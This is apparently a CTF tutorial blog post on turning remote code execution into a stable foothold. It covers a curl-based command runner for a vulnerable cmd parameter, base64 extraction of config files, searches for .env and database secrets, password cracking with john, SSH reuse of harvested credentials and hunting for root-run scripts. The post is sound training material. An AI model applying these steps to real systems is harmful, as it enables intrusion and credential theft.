From RCE to Stable Foothold
Remote code execution, usually shortened to RCE, means you found a way to make the target run a command. That feels like the finish line, but on most CTF machines it is only the start of the useful part of the solve.
A mistake I made when I was starting out is to chase a reverse shell. A reverse shell is a connection where the target machine calls back to your machine and gives you a shell. It can be useful, but it is also fragile. It can fail because outbound connections are blocked, quoting is wrong, the web process times out, the VPN is unreliable, or the shell is missing normal terminal features.
The better first goal is a stable foothold.
The Big Idea
After you find a way to RCE you might ask yourself the question:
Instead you should ask yourself:
- 1Prove RCE.
- 2Build a repeatable command runner.
- 3Collect local evidence.
- 4Find credentials or internal services.
- 5Upgrade to SSH or another stable foothold.
- Perform targeted privilege escalation.
Step 1: Prove Command Execution
Start with harmless commands where the output is predictable:
- The command is running as
www-data, a common web-server user. - We are on a host named
web01. - The current directory is
/var/www/app, which may contain source code. - Output is visible, so we may not need a reverse shell yet.
If these simple commands are unreliable, a reverse shell will probably be unreliable too.
Step 2: Turn RCE Into a Command Runner
Manual RCE quickly becomes painful. For example:
curl 'http://target.local/vulnerable?cmd=id'
curl 'http://target.local/vulnerable?cmd=cat%20/etc/passwd'
curl 'http://target.local/vulnerable?cmd=ls%20-la%20/opt'
Thats alot to type all the time. The problem is also that every command has quoting, encoding, timeout, and output-handling issues.
A simple command runner can hide most of that mess. It can be a shell function, a Python script, a request template, or a tool from your own toolkit. The exact wrapper matters less than making execution repeatable.
For example, this shell function URL-encodes the command with Python and sends
it through the vulnerable cmd parameter:
run() {
local cmd encoded
cmd="$*"
encoded="$(python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1]))' "$cmd")"
curl -s "http://target.local/vulnerable?cmd=${encoded}"
}
Then usage becomes consistent:
run 'id'
run 'ss -lntup'
run 'find /opt /srv /var/www -maxdepth 4 -type f 2>/dev/null'
- Insert the command into the vulnerable request.
- Encode special characters correctly.
- Show the output clearly.
- Save important output into files so you can review it later.
Step 3: Avoid Fragile Payloads First
Before trying complex shell payloads, run short commands:
Short commands give you facts before you spend time debugging a shell.
Step 4: Read Files Safely With Base64
When reading files through RCE, raw output can break. HTML may escape it, binary bytes may disappear, and long lines may be truncated.
For RCE, that means file output is easier to copy, save, and decode locally.
On the target:
Locally, decode it:
For large files, save the base64 output into an artifact file first:
run 'base64 -w0 /var/www/app/config.php' > artifacts/config.php.b64
base64 -d artifacts/config.php.b64 > artifacts/config.php
This is slower than a direct shell, but it is much more reliable.
Step 5: Collect High-Value Local Evidence
After proving RCE, collect evidence that explains the machine.
Good first commands:
id
hostname
pwd
ss -lntup
ps auxww
find /opt /srv /var/www -maxdepth 5 -type f 2>/dev/null
find /home -maxdepth 3 -type f 2>/dev/null
Here is what each command does:
| Command | Why it matters |
|---|---|
id | Shows the current user and groups. |
hostname | Confirms which host or container you are on. |
pwd | Shows the current working directory. |
ss -lntup | Lists listening TCP/UDP services. |
ps auxww | Lists running processes with full command lines. |
find /opt /srv /var/www ... | Searches common app directories. |
find /home ... | Looks for user files, keys, notes, and app data. |
ss -lntup is especially important. It can reveal services that only listen on
localhost.
Example output:
Netid State Local Address:Port Peer Address:Port Process
tcp LISTEN 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=812))
tcp LISTEN 127.0.0.1:3000 0.0.0.0:* users:(("node",pid=1204))
tcp LISTEN 127.0.0.1:5432 0.0.0.0:* users:(("postgres",pid=991))
- Port
80is public. - Port
3000is only reachable from the target itself. - Port
5432is a local database. - That local-only service on
127.0.0.1:3000may be more important than the public website.
Step 6: Understand Localhost
127.0.0.1 means localhost. It is the machine talking to itself.
From your laptop, this might fail:
But from the target, it might work:
Before building a full tunnel, try a small target-side request:
run 'curl -s http://127.0.0.1:3000/version'
run 'curl -s http://127.0.0.1:3000/api/status'
If the service is HTTP, curl may be enough. If it uses another protocol, you
may need a small bridge script that speaks to the local service from the target.
Step 7: Search for Configs Before Guessing
Configuration files are often the fastest path from RCE to a real foothold.
Useful searches:
find / -maxdepth 4 -type f \( \
-name '.env' -o \
-name '*.db' -o \
-name '*.sqlite' -o \
-name 'config.php' -o \
-name 'settings.py' -o \
-name 'docker-compose.yml' \
\) 2>/dev/null
Example output:
/var/www/app/.env
/var/www/app/database.sqlite
/opt/internal/config.yml
Read the smallest, most relevant files first:
- The app uses a local database.
- We found a database username.
- We found a password that may work elsewhere.
- In CTF machines, secret reuse is common.
Do not assume the password only works for the database. Test it carefully against appropriate services.
Step 8: Build a Credential Pipeline
Credentials are usernames, passwords, hashes, API tokens, SSH keys, cookies, or anything else that proves identity.
When you find a secret, record:
Where it came from:
What username it belongs to:
Whether it is plaintext or a hash:
Where you tested it:
Whether it worked:
Example notes:
Source: /var/www/app/.env
User: appuser
Secret: example-password
Type: plaintext password
Tested:
- database login: worked
- SSH as appuser: failed
- SSH as deploy: worked
If you find hashes, identify the hash type before cracking.
hashid hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Example cracking output:
examplepass (deploy)
Then test SSH:
ssh [email protected]
Step 9: Upgrade to SSH When Possible
SSH is usually better than web RCE because it gives you:
- A normal shell.
- Reliable command output.
- Easier file transfer.
- Access to user-specific files.
- Better post-exploitation enumeration.
Example:
Now run the same high-value checks again, because SSH may show things the web user could not access:
id
sudo -l
ss -lntup
ps auxww
find /home -maxdepth 3 -type f 2>/dev/null
sudo -l asks Linux which commands your user may run with elevated privileges.
Example output:
User deploy may run the following commands on web01:
(root) NOPASSWD: /usr/local/bin/backup
This does not automatically mean root is solved, but it is a strong lead. The
next step is to inspect what /usr/local/bin/backup does and whether it uses
attacker-controlled files.
Step 10: Recognize Root-Owned Automation
Root-owned automation is any privileged service or script that performs tasks for users. Examples include:
- Backup scripts.
- Deployment services.
- Git services.
- CI runners.
- Provisioning tools.
- Parser or file-conversion workers.
- Scheduled jobs.
These are valuable because they may consume files or settings you can control.
Useful commands:
ps auxww | grep -E 'backup|worker|queue|git|node|python|ruby'
systemctl list-units --type=service --state=running
systemctl list-timers
cat /etc/crontab
find /etc/systemd/system /lib/systemd/system -name '*.service' -type f 2>/dev/null
Example process output:
The important part is the first column:
root
That means /opt/jobs/worker.py is running as root. If your user can influence
what the worker reads, writes, imports, parses, or executes, it may become the
privilege escalation path.
Step 11: When a Reverse Shell Is Actually Useful
Reverse shells are not bad. They are just not always the first move.
Use a reverse shell when:
- The RCE is blind and does not return output.
- You need interactive behavior.
- You need to run commands that are hard to encode.
- You need a TTY for
sudo, editors, or interactive tools. - You need network pivoting.
- Your command runner is too limited.
Even then, keep your command runner. If the shell dies, the runner is your way back in.
Common Beginner Problems
Problem: My command works locally but fails through the URL
Likely cause: quoting or URL encoding.
Try a simpler command:
id
echo test
Then add complexity slowly:
echo hello
echo hello; id
sh -c 'id'
Problem: I cannot read long files
Use base64:
base64 -w0 /path/to/file
Decode locally:
base64 -d file.b64 > file
Problem: SSH logs in but hangs
This can happen on VPN links because of MTU issues. MTU means maximum transmission unit, the largest packet size a network path can handle without fragmentation.
Try:
ssh -o IPQoS=none [email protected]
If you control the VPN container, lowering the VPN interface MTU can help:
ip link set dev tun0 mtu 1200
Problem: I found a password but SSH failed
Do not throw it away. Try to understand what it belongs to:
database password
admin panel password
API token
service account password
reused Linux password
Preserve exact casing. ExamplePass and examplepass are different passwords.
A Practical Checklist
After RCE:
id
whoami
hostname
pwd
uname -a
cat /etc/os-release
ss -lntup
ps auxww
find /opt /srv /var/www -maxdepth 5 -type f 2>/dev/null
find /home -maxdepth 3 -type f 2>/dev/null
Then look for configs:
find / -maxdepth 4 -type f \( \
-name '.env' -o \
-name '*.db' -o \
-name '*.sqlite' -o \
-name 'config.php' -o \
-name 'settings.py' -o \
-name 'docker-compose.yml' \
\) 2>/dev/null
If credentials appear:
ssh [email protected]
After SSH:
id
sudo -l
ss -lntup
ps auxww
find /etc /opt /srv /var/www -maxdepth 4 -type f 2>/dev/null | head -300
Summary
- 1Prove command execution.
- 2Make command execution repeatable.
- 3Read configs and source.
- 4Inspect local services.
- 5Recover credentials.
- 6Upgrade to SSH.
- Target the specific privileged service or script.